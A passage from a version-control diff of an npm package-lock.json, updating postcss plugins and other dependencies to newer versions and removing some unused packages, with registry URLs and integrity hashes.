"https://registry.npmjs.org/postcss-discard-overridden/-/postcss-discard-overridden-5.1.0.tgz", - "integrity": "sha512-21nOL7RqWR1kasIVdKs8HNqQJhFxLsyRfAnUDm4Fe4t4mCWL9OJiHvlHPjcd8zc5Myu89b/7wZDnOSjFgeWRtw==", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/postcss-discard-overridden/-/postcss-discard-overridden-7.0.0.tgz", + "integrity": "sha512-GmNAzx88u3k2+sBTZrJSDauR0ccpE24omTQCVmaTTZFz1du6AasspjaUPMJ2ud4RslZpoFKyf+6MSPETLojc6w==", "dev": true, "requires": {} }, "postcss-loader": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/postcss-loader/-/postcss-loader-7.0.1.tgz", - "integrity": "sha512-VRviFEyYlLjctSM93gAZtcJJ/iSkPZ79zWbN/1fSH+NisBByEiVLqpdVDrPLVSi8DX0oJo12kL/GppTBdKVXiQ==", + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/postcss-loader/-/postcss-loader-8.1.1.tgz", + "integrity": "sha512-0IeqyAsG6tYiDRCYKQJLAmgQr47DX6N7sFSWvQxt6AcupX8DIdmykuk/o/tx0Lze3ErGHJEp5OSRxrelC6+NdQ==", "dev": true, "requires": { - "cosmiconfig": "^7.0.0", - "klona": "^2.0.5", - "semver": "^7.3.7" + "cosmiconfig": "^9.0.0", + "jiti": "^1.20.0", + "semver": "^7.5.4" }, "dependencies": { "semver": { - "version": "7.3.7", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.7.tgz", - "integrity": "sha512-QlYTucUYOews+WeEujDoEGziz4K6c47V/Bd+LjSSYcA94p+DmINdf7ncaUinThfvZyu13lN9OY1XDxt8C0Tw0g==", + "version": "7.5.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.5.4.tgz", + "integrity": "sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==", "dev": true, "requires": { "lru-cache": "^6.0.0" @@ -29701,78 +24924,79 @@ } }, "postcss-merge-longhand": { - "version": "5.1.6", - "resolved": "https://registry.npmjs.org/postcss-merge-longhand/-/postcss-merge-longhand-5.1.6.tgz", - "integrity": "sha512-6C/UGF/3T5OE2CEbOuX7iNO63dnvqhGZeUnKkDeifebY0XqkkvrctYSZurpNE902LDf2yKwwPFgotnfSoPhQiw==", + "version": "7.0.4", + "resolved": "https://registry.npmjs.org/postcss-merge-longhand/-/postcss-merge-longhand-7.0.4.tgz", + "integrity": "sha512-zer1KoZA54Q8RVHKOY5vMke0cCdNxMP3KBfDerjH/BYHh4nCIh+1Yy0t1pAEQF18ac/4z3OFclO+ZVH8azjR4A==", "dev": true, "requires": { "postcss-value-parser": "^4.2.0", - "stylehacks": "^5.1.0" + "stylehacks": "^7.0.4" } }, "postcss-merge-rules": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/postcss-merge-rules/-/postcss-merge-rules-5.1.2.tgz", - "integrity": "sha512-zKMUlnw+zYCWoPN6yhPjtcEdlJaMUZ0WyVcxTAmw3lkkN/NDMRkOkiuctQEoWAOvH7twaxUUdvBWl0d4+hifRQ==", + "version": "7.0.4", + "resolved": "https://registry.npmjs.org/postcss-merge-rules/-/postcss-merge-rules-7.0.4.tgz", + "integrity": "sha512-ZsaamiMVu7uBYsIdGtKJ64PkcQt6Pcpep/uO90EpLS3dxJi6OXamIobTYcImyXGoW0Wpugh7DSD3XzxZS9JCPg==", "dev": true, "requires": { - "browserslist": "^4.16.6", + "browserslist": "^4.23.3", "caniuse-api": "^3.0.0", - "cssnano-utils": "^3.1.0", - "postcss-selector-parser": "^6.0.5" + "cssnano-utils": "^5.0.0", + "postcss-selector-parser": "^6.1.2" } }, "postcss-minify-font-values": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/postcss-minify-font-values/-/postcss-minify-font-values-5.1.0.tgz", - "integrity": "sha512-el3mYTgx13ZAPPirSVsHqFzl+BBBDrXvbySvPGFnQcTI4iNslrPaFq4muTkLZmKlGk4gyFAYUBMH30+HurREyA==", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/postcss-minify-font-values/-/postcss-minify-font-values-7.0.0.tgz", + "integrity": "sha512-2ckkZtgT0zG8SMc5aoNwtm5234eUx1GGFJKf2b1bSp8UflqaeFzR50lid4PfqVI9NtGqJ2J4Y7fwvnP/u1cQog==", "dev": true, "requires": { "postcss-value-parser": "^4.2.0" } }, "postcss-minify-gradients": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/postcss-minify-gradients/-/postcss-minify-gradients-5.1.1.tgz", - "integrity": "sha512-VGvXMTpCEo4qHTNSa9A0a3D+dxGFZCYwR6Jokk+/3oB6flu2/PnPXAh2x7x52EkY5xlIHLm+Le8tJxe/7TNhzw==", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/postcss-minify-gradients/-/postcss-minify-gradients-7.0.0.tgz", + "integrity": "sha512-pdUIIdj/C93ryCHew0UgBnL2DtUS3hfFa5XtERrs4x+hmpMYGhbzo6l/Ir5de41O0GaKVpK1ZbDNXSY6GkXvtg==", "dev": true, "requires": { - "colord": "^2.9.1", - "cssnano-utils": "^3.1.0", + "colord": "^2.9.3", + "cssnano-utils": "^5.0.0", "postcss-value-parser": "^4.2.0" } }, "postcss-minify-params": { - "version": "5.1.3", - "resolved": "https://registry.npmjs.org/postcss-minify-params/-/postcss-minify-params-5.1.3.tgz", - "integrity": "sha512-bkzpWcjykkqIujNL+EVEPOlLYi/eZ050oImVtHU7b4lFS82jPnsCb44gvC6pxaNt38Els3jWYDHTjHKf0koTgg==", + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/postcss-minify-params/-/postcss-minify-params-7.0.2.tgz", + "integrity": "sha512-nyqVLu4MFl9df32zTsdcLqCFfE/z2+f8GE1KHPxWOAmegSo6lpV2GNy5XQvrzwbLmiU7d+fYay4cwto1oNdAaQ==", "dev": true, "requires": { - "browserslist": "^4.16.6", - "cssnano-utils": "^3.1.0", + "browserslist": "^4.23.3", + "cssnano-utils": "^5.0.0", "postcss-value-parser": "^4.2.0" } }, "postcss-minify-selectors": { - "version": "5.2.1", - "resolved": "https://registry.npmjs.org/postcss-minify-selectors/-/postcss-minify-selectors-5.2.1.tgz", - "integrity": "sha512-nPJu7OjZJTsVUmPdm2TcaiohIwxP+v8ha9NehQ2ye9szv4orirRU3SDdtUmKH+10nzn0bAyOXZ0UEr7OpvLehg==", + "version": "7.0.4", + "resolved": "https://registry.npmjs.org/postcss-minify-selectors/-/postcss-minify-selectors-7.0.4.tgz", + "integrity": "sha512-JG55VADcNb4xFCf75hXkzc1rNeURhlo7ugf6JjiiKRfMsKlDzN9CXHZDyiG6x/zGchpjQS+UAgb1d4nqXqOpmA==", "dev": true, "requires": { - "postcss-selector-parser": "^6.0.5" + "cssesc": "^3.0.0", + "postcss-selector-parser": "^6.1.2" } }, "postcss-modules-extract-imports": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/postcss-modules-extract-imports/-/postcss-modules-extract-imports-3.0.0.tgz", - "integrity": "sha512-bdHleFnP3kZ4NYDhuGlVK+CMrQ/pqUm8bx/oGL93K6gVwiclvX5x0n76fYMKuIGKzlABOy13zsvqjb0f92TEXw==", + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/postcss-modules-extract-imports/-/postcss-modules-extract-imports-3.1.0.tgz", + "integrity": "sha512-k3kNe0aNFQDAZGbin48pL2VNidTF0w4/eASDsxlyspobzU3wZQLOGj7L9gfRe0Jo9/4uud09DsjFNH7winGv8Q==", "dev": true, "requires": {} }, "postcss-modules-local-by-default": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/postcss-modules-local-by-default/-/postcss-modules-local-by-default-4.0.0.tgz", - "integrity": "sha512-sT7ihtmGSF9yhm6ggikHdV0hlziDTX7oFoXtuVWeDd3hHObNkcHRo9V3yg7vCAY7cONyxJC/XXCmmiHHcvX7bQ==", + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/postcss-modules-local-by-default/-/postcss-modules-local-by-default-4.0.5.tgz", + "integrity": "sha512-6MieY7sIfTK0hYfafw1OMEG+2bg8Q1ocHCpoWLqOKj3JXlKu4G7btkmM/B7lFubYkYWmRSPLZi5chid63ZaZYw==", "dev": true, "requires": { "icss-utils": "^5.0.0", @@ -29781,9 +25005,9 @@ } }, "postcss-modules-scope": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/postcss-modules-scope/-/postcss-modules-scope-3.0.0.tgz", - "integrity": "sha512-hncihwFA2yPath8oZ15PZqvWGkWf+XUfQgUGamS4LqoP1anQLOsOJw0vr7J7IwLpoY9fatA2qiGUGmuZL0Iqlg==", + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/postcss-modules-scope/-/postcss-modules-scope-3.2.0.tgz", + "integrity": "sha512-oq+g1ssrsZOsx9M96c5w8laRmvEu9C3adDSjI8oTcbfkrTE8hx/zfyobUoWIxaKPO8bt6S62kxpw5GqypEw1QQ==", "dev": true, "requires": { "postcss-selector-parser": "^6.0.4" @@ -29799,119 +25023,118 @@ } }, "postcss-normalize-charset": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/postcss-normalize-charset/-/postcss-normalize-charset-5.1.0.tgz", - "integrity": "sha512-mSgUJ+pd/ldRGVx26p2wz9dNZ7ji6Pn8VWBajMXFf8jk7vUoSrZ2lt/wZR7DtlZYKesmZI680qjr2CeFF2fbUg==", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-charset/-/postcss-normalize-charset-7.0.0.tgz", + "integrity": "sha512-ABisNUXMeZeDNzCQxPxBCkXexvBrUHV+p7/BXOY+ulxkcjUZO0cp8ekGBwvIh2LbCwnWbyMPNJVtBSdyhM2zYQ==", "dev": true, "requires": {} }, "postcss-normalize-display-values": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/postcss-normalize-display-values/-/postcss-normalize-display-values-5.1.0.tgz", - "integrity": "sha512-WP4KIM4o2dazQXWmFaqMmcvsKmhdINFblgSeRgn8BJ6vxaMyaJkwAzpPpuvSIoG/rmX3M+IrRZEz2H0glrQNEA==", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-display-values/-/postcss-normalize-display-values-7.0.0.tgz", + "integrity": "sha512-lnFZzNPeDf5uGMPYgGOw7v0BfB45+irSRz9gHQStdkkhiM0gTfvWkWB5BMxpn0OqgOQuZG/mRlZyJxp0EImr2Q==", "dev": true, "requires": { "postcss-value-parser": "^4.2.0" } }, "postcss-normalize-positions": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/postcss-normalize-positions/-/postcss-normalize-positions-5.1.1.tgz", - "integrity": "sha512-6UpCb0G4eofTCQLFVuI3EVNZzBNPiIKcA1AKVka+31fTVySphr3VUgAIULBhxZkKgwLImhzMR2Bw1ORK+37INg==", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-positions/-/postcss-normalize-positions-7.0.0.tgz", + "integrity": "sha512-I0yt8wX529UKIGs2y/9Ybs2CelSvItfmvg/DBIjTnoUSrPxSV7Z0yZ8ShSVtKNaV/wAY+m7bgtyVQLhB00A1NQ==", "dev": true, "requires": { "postcss-value-parser": "^4.2.0" } }, "postcss-normalize-repeat-style": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/postcss-normalize-repeat-style/-/postcss-normalize-repeat-style-5.1.1.tgz", - "integrity": "sha512-mFpLspGWkQtBcWIRFLmewo8aC3ImN2i/J3v8YCFUwDnPu3Xz4rLohDO26lGjwNsQxB3YF0KKRwspGzE2JEuS0g==", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-repeat-style/-/postcss-normalize-repeat-style-7.0.0.tgz", + "integrity": "sha512-o3uSGYH+2q30ieM3ppu9GTjSXIzOrRdCUn8UOMGNw7Af61bmurHTWI87hRybrP6xDHvOe5WlAj3XzN6vEO8jLw==", "dev": true, "requires": { "postcss-value-parser": "^4.2.0" } }, "postcss-normalize-string": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/postcss-normalize-string/-/postcss-normalize-string-5.1.0.tgz", - "integrity": "sha512-oYiIJOf4T9T1N4i+abeIc7Vgm/xPCGih4bZz5Nm0/ARVJ7K6xrDlLwvwqOydvyL3RHNf8qZk6vo3aatiw/go3w==", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-string/-/postcss-normalize-string-7.0.0.tgz", + "integrity": "sha512-w/qzL212DFVOpMy3UGyxrND+Kb0fvCiBBujiaONIihq7VvtC7bswjWgKQU/w4VcRyDD8gpfqUiBQ4DUOwEJ6Qg==", "dev": true, "requires": { "postcss-value-parser": "^4.2.0" } }, "postcss-normalize-timing-functions": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/postcss-normalize-timing-functions/-/postcss-normalize-timing-functions-5.1.0.tgz", - "integrity": "sha512-DOEkzJ4SAXv5xkHl0Wa9cZLF3WCBhF3o1SKVxKQAa+0pYKlueTpCgvkFAHfk+Y64ezX9+nITGrDZeVGgITJXjg==", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-timing-functions/-/postcss-normalize-timing-functions-7.0.0.tgz", + "integrity": "sha512-tNgw3YV0LYoRwg43N3lTe3AEWZ66W7Dh7lVEpJbHoKOuHc1sLrzMLMFjP8SNULHaykzsonUEDbKedv8C+7ej6g==", "dev": true, "requires": { "postcss-value-parser": "^4.2.0" } }, "postcss-normalize-unicode": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/postcss-normalize-unicode/-/postcss-normalize-unicode-5.1.0.tgz", - "integrity": "sha512-J6M3MizAAZ2dOdSjy2caayJLQT8E8K9XjLce8AUQMwOrCvjCHv24aLC/Lps1R1ylOfol5VIDMaM/Lo9NGlk1SQ==", + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/postcss-normalize-unicode/-/postcss-normalize-unicode-7.0.2.tgz", + "integrity": "sha512-ztisabK5C/+ZWBdYC+Y9JCkp3M9qBv/XFvDtSw0d/XwfT3UaKeW/YTm/MD/QrPNxuecia46vkfEhewjwcYFjkg==", "dev": true, "requires": { - "browserslist": "^4.16.6", + "browserslist": "^4.23.3", "postcss-value-parser": "^4.2.0" } }, "postcss-normalize-url": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/postcss-normalize-url/-/postcss-normalize-url-5.1.0.tgz", - "integrity": "sha512-5upGeDO+PVthOxSmds43ZeMeZfKH+/DKgGRD7TElkkyS46JXAUhMzIKiCa7BabPeIy3AQcTkXwVVN7DbqsiCew==", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-url/-/postcss-normalize-url-7.0.0.tgz", + "integrity": "sha512-+d7+PpE+jyPX1hDQZYG+NaFD+Nd2ris6r8fPTBAjE8z/U41n/bib3vze8x7rKs5H1uEw5ppe9IojewouHk0klQ==", "dev": true, "requires": { - "normalize-url": "^6.0.1", "postcss-value-parser": "^4.2.0" } }, "postcss-normalize-whitespace": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/postcss-normalize-whitespace/-/postcss-normalize-whitespace-5.1.1.tgz", - "integrity": "sha512-83ZJ4t3NUDETIHTa3uEg6asWjSBYL5EdkVB0sDncx9ERzOKBVJIUeDO9RyA9Zwtig8El1d79HBp0JEi8wvGQnA==", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-whitespace/-/postcss-normalize-whitespace-7.0.0.tgz", + "integrity": "sha512-37/toN4wwZErqohedXYqWgvcHUGlT8O/m2jVkAfAe9Bd4MzRqlBmXrJRePH0e9Wgnz2X7KymTgTOaaFizQe3AQ==", "dev": true, "requires": { "postcss-value-parser": "^4.2.0" } }, "postcss-ordered-values": { - "version": "5.1.3", - "resolved": "https://registry.npmjs.org/postcss-ordered-values/-/postcss-ordered-values-5.1.3.tgz", - "integrity": "sha512-9UO79VUhPwEkzbb3RNpqqghc6lcYej1aveQteWY+4POIwlqkYE21HKWaLDF6lWNuqCobEAyTovVhtI32Rbv2RQ==", + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/postcss-ordered-values/-/postcss-ordered-values-7.0.1.tgz", + "integrity": "sha512-irWScWRL6nRzYmBOXReIKch75RRhNS86UPUAxXdmW/l0FcAsg0lvAXQCby/1lymxn/o0gVa6Rv/0f03eJOwHxw==", "dev": true, "requires": { - "cssnano-utils": "^3.1.0", + "cssnano-utils": "^5.0.0", "postcss-value-parser": "^4.2.0" } }, "postcss-reduce-initial": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/postcss-reduce-initial/-/postcss-reduce-initial-5.1.0.tgz", - "integrity": "sha512-5OgTUviz0aeH6MtBjHfbr57tml13PuedK/Ecg8szzd4XRMbYxH4572JFG067z+FqBIf6Zp/d+0581glkvvWMFw==", + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/postcss-reduce-initial/-/postcss-reduce-initial-7.0.2.tgz", + "integrity": "sha512-pOnu9zqQww7dEKf62Nuju6JgsW2V0KRNBHxeKohU+JkHd/GAH5uvoObqFLqkeB2n20mr6yrlWDvo5UBU5GnkfA==", "dev": true, "requires": { - "browserslist": "^4.16.6", + "browserslist": "^4.23.3", "caniuse-api": "^3.0.0" } }, "postcss-reduce-transforms": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/postcss-reduce-transforms/-/postcss-reduce-transforms-5.1.0.tgz", - "integrity": "sha512-2fbdbmgir5AvpW9RLtdONx1QoYG2/EtqpNQbFASDlixBbAYuTcJ0dECwlqNqH7VbaUnEnh8SrxOe2sRIn24XyQ==", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/postcss-reduce-transforms/-/postcss-reduce-transforms-7.0.0.tgz", + "integrity": "sha512-pnt1HKKZ07/idH8cpATX/ujMbtOGhUfE+m8gbqwJE05aTaNw8gbo34a2e3if0xc0dlu75sUOiqvwCGY3fzOHew==", "dev": true, "requires": { "postcss-value-parser": "^4.2.0" } }, "postcss-selector-parser": { - "version": "6.0.10", - "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.10.tgz", - "integrity": "sha512-IQ7TZdoaqbT+LCpShg46jnZVlhWD2w6iQYAcYXfHARZ7X1t/UGhhceQDs5X0cGqKvYlHNOuv7Oa1xmb0oQuA3w==", + "version": "6.1.2", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.1.2.tgz", + "integrity": "sha512-Q8qQfPiZ+THO/3ZrOrO0cJJKfpYCagtMUkXbnEfmgUjwXg6z/WBeOyS9APBBPCTSiDV+s4SwQGu8yFsiMRIudg==", "dev": true, "requires": { "cssesc": "^3.0.0", @@ -29919,22 +25142,22 @@ } }, "postcss-svgo": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/postcss-svgo/-/postcss-svgo-5.1.0.tgz", - "integrity": "sha512-D75KsH1zm5ZrHyxPakAxJWtkyXew5qwS70v56exwvw542d9CRtTo78K0WeFxZB4G7JXKKMbEZtZayTGdIky/eA==", + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/postcss-svgo/-/postcss-svgo-7.0.1.tgz", + "integrity": "sha512-0WBUlSL4lhD9rA5k1e5D8EN5wCEyZD6HJk0jIvRxl+FDVOMlJ7DePHYWGGVc5QRqrJ3/06FTXM0bxjmJpmTPSA==", "dev": true, "requires": { "postcss-value-parser": "^4.2.0", - "svgo": "^2.7.0" + "svgo": "^3.3.2" } }, "postcss-unique-selectors": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/postcss-unique-selectors/-/postcss-unique-selectors-5.1.1.tgz", - "integrity": "sha512-5JiODlELrz8L2HwxfPnhOWZYWDxVHWL83ufOv84NrcgipI7TaeRsatAhK4Tr2/ZiYldpK/wBvw5BD3qfaK96GA==", + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/postcss-unique-selectors/-/postcss-unique-selectors-7.0.3.tgz", + "integrity": "sha512-J+58u5Ic5T1QjP/LDV9g3Cx4CNOgB5vz+kM6+OxHHhFACdcDeKhBXjQmB7fnIZM12YSTvsL0Opwco83DmacW2g==", "dev": true, "requires": { - "postcss-selector-parser": "^6.0.5" + "postcss-selector-parser": "^6.1.2" } }, "postcss-value-parser": { @@ -29958,18 +25181,13 @@ "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==", "dev": true }, - "prepend-http": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/prepend-http/-/prepend-http-1.0.4.tgz", - "integrity": "sha512-PhmXi5XmoyKw1Un4E+opM2KcsJInDvKyuOumcjjw3waw86ZNjHwVUOOWLc4bCzLdcKNaWBH9e99sbWzDQsVaYg==" - }, "pretty-format": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-29.0.1.tgz", - "integrity": "sha512-iTHy3QZMzuL484mSTYbQIM1AHhEQsH8mXWS2/vd2yFBYnG3EBqGiMONo28PlPgrW7P/8s/1ISv+y7WH306l8cw==", + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-29.7.0.tgz", + "integrity": "sha512-Pdlw/oPxN+aXdmM9R00JVC9WVFoCLTKJvDVLgmJ+qAffBMxsV85l/Lu7sNx4zSzPyoL2euImuEwHhOXdEgNFZQ==", "dev": true, "requires": { - "@jest/schemas": "^29.0.0", + "@jest/schemas": "^29.6.3", "ansi-styles": "^5.0.0", "react-is": "^18.0.0" }, @@ -29998,26 +25216,6 @@ "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==" }, - "promise-inflight": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/promise-inflight/-/promise-inflight-1.0.1.tgz", - "integrity": "sha1-mEcocL8igTL8vdhoEputEsPAKeM=", - "dev": true, - "optional": true, - "peer": true - }, - "promise-retry": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/promise-retry/-/promise-retry-2.0.1.tgz", - "integrity": "sha512-y+WKFlBR8BGXnsNlIHFGPZmyDf3DFMoLhaflAnyZgV6rG6xu+JwesTo2Q9R6XwYmtmwAFCkAk3e35jEdoeh/3g==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "err-code": "^2.0.2", - "retry": "^0.12.0" - } - }, "promise-to-callback": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/promise-to-callback/-/promise-to-callback-1.0.0.tgz", @@ -30047,15 +25245,6 @@ "react-is": "^16.8.1" } }, - "proxy-addr": { - "version": "2.0.7", - "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz", - "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==", - "requires": { - "forwarded": "0.2.0", - "ipaddr.js": "1.9.1" - } - }, "prr": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/prr/-/prr-1.0.1.tgz", @@ -30086,19 +25275,16 @@ } } }, - "pump": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", - "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", - "requires": { - "end-of-stream": "^1.1.0", - "once": "^1.3.1" - } - }, "punycode": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz", - "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==" + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz", + "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==" + }, + "pure-rand": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/pure-rand/-/pure-rand-6.0.3.tgz", + "integrity": "sha512-KddyFewCsO0j3+np81IQ+SweXLDnDQTs5s67BOnrYmYe/yNmUhttQyGsYzy8yUnoljGAQ9sl38YB4vH8ur7Y+w==", + "dev": true }, "qrcode": { "version": "1.4.4", @@ -30234,44 +25420,9 @@ } }, "qs": { - "version": "6.5.2", - "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.2.tgz", - "integrity": "sha512-N5ZAX4/LxJmF+7wN74pUD6qAh9/wnvdQcjq9TZjevvXzSUo7bfmw91saqMjzGS2xq91/odN2dW/WOl7qQHNDGA==" - }, - "query-string": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/query-string/-/query-string-5.1.1.tgz", - "integrity": "sha512-gjWOsm2SoGlgLEdAGt7a6slVOk9mGiXmPFMqrEhLQ68rhQuBnpfs3+EmlvqKyxnCo9/PPlF+9MtY02S1aFg+Jw==", - "requires": { - "decode-uri-component": "^0.2.0", - "object-assign": "^4.1.0", - "strict-uri-encode": "^1.0.0" - } - }, - "querystring": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/querystring/-/querystring-0.2.0.tgz", - "integrity": "sha1-sgmEkgO7Jd+CDadW50cAWHhSFiA=" - }, - "querystringify": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/querystringify/-/querystringify-2.2.0.tgz", - "integrity": "sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ==", - "dev": true - }, - "queue-microtask": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", - "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", - "dev": true - }, - "quick-lru": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-4.0.1.tgz", - "integrity": "sha512-ARhCpm70fzdcvNQfPoy49IaanKkTlRWF2JMzqhcJbhSFRZv7nPTvZJdcY7301IPmvW+/p0RgIWnQDLJxifsQ7g==", - "dev": true, - "optional": true, - "peer": true + "version": "6.5.3", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.3.tgz", + "integrity": "sha512-qxXIEh4pCGfHICj1mAJQ2/2XVZkjCDTcEgfoSQxc/fYivUZxTkk7L3bDBJSoNrEzXI17oUO5Dp07ktqE5KzczA==" }, "randombytes": { "version": "2.1.0", @@ -30290,22 +25441,6 @@ "safe-buffer": "^5.1.0" } }, - "range-parser": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", - "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==" - }, - "raw-body": { - "version": "2.5.1", - "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.5.1.tgz", - "integrity": "sha512-qqJBtEyVgS0ZmPGdCFPWJ3FreoqvG4MVQln/kCgF7Olq95IbOp0/BWyMwbdtn4VTvkM8Y7khCQ2Xgk/tcrCXig==", - "requires": { - "bytes": "3.1.2", - "http-errors": "2.0.0", - "iconv-lite": "0.4.24", - "unpipe": "1.0.0" - } - }, "react": { "version": "16.14.0", "resolved": "https://registry.npmjs.org/react/-/react-16.14.0.tgz", @@ -30332,110 +25467,10 @@ "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==" }, - "read-pkg": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-5.2.0.tgz", - "integrity": "sha512-Ug69mNOpfvKDAc2Q8DRpMjjzdtrnv9HcSMX+4VsZxD1aZ6ZzrIE7rlzXBtWTyhULSMKg076AW6WR5iZpD0JiOg==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "@types/normalize-package-data": "^2.4.0", - "normalize-package-data": "^2.5.0", - "parse-json": "^5.0.0", - "type-fest": "^0.6.0" - }, - "dependencies": { - "type-fest": { - "version": "0.6.0", - "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.6.0.tgz", - "integrity": "sha512-q+MB8nYR1KDLrgr4G5yemftpMC7/QLqVndBmEEdqzmNj5dcFOO4Oo8qlwZE3ULT3+Zim1F8Kq4cBnikNhlCMlg==", - "dev": true, - "optional": true, - "peer": true - } - } - }, - "read-pkg-up": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-7.0.1.tgz", - "integrity": "sha512-zK0TB7Xd6JpCLmlLmufqykGE+/TlOePD6qKClNW7hHDKFh/J7/7gCWGR7joEQEW1bKq3a3yUZSObOoWLFQ4ohg==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "find-up": "^4.1.0", - "read-pkg": "^5.2.0", - "type-fest": "^0.8.1" - }, - "dependencies": { - "find-up": { - "version": "4.1.0", - "resolved": 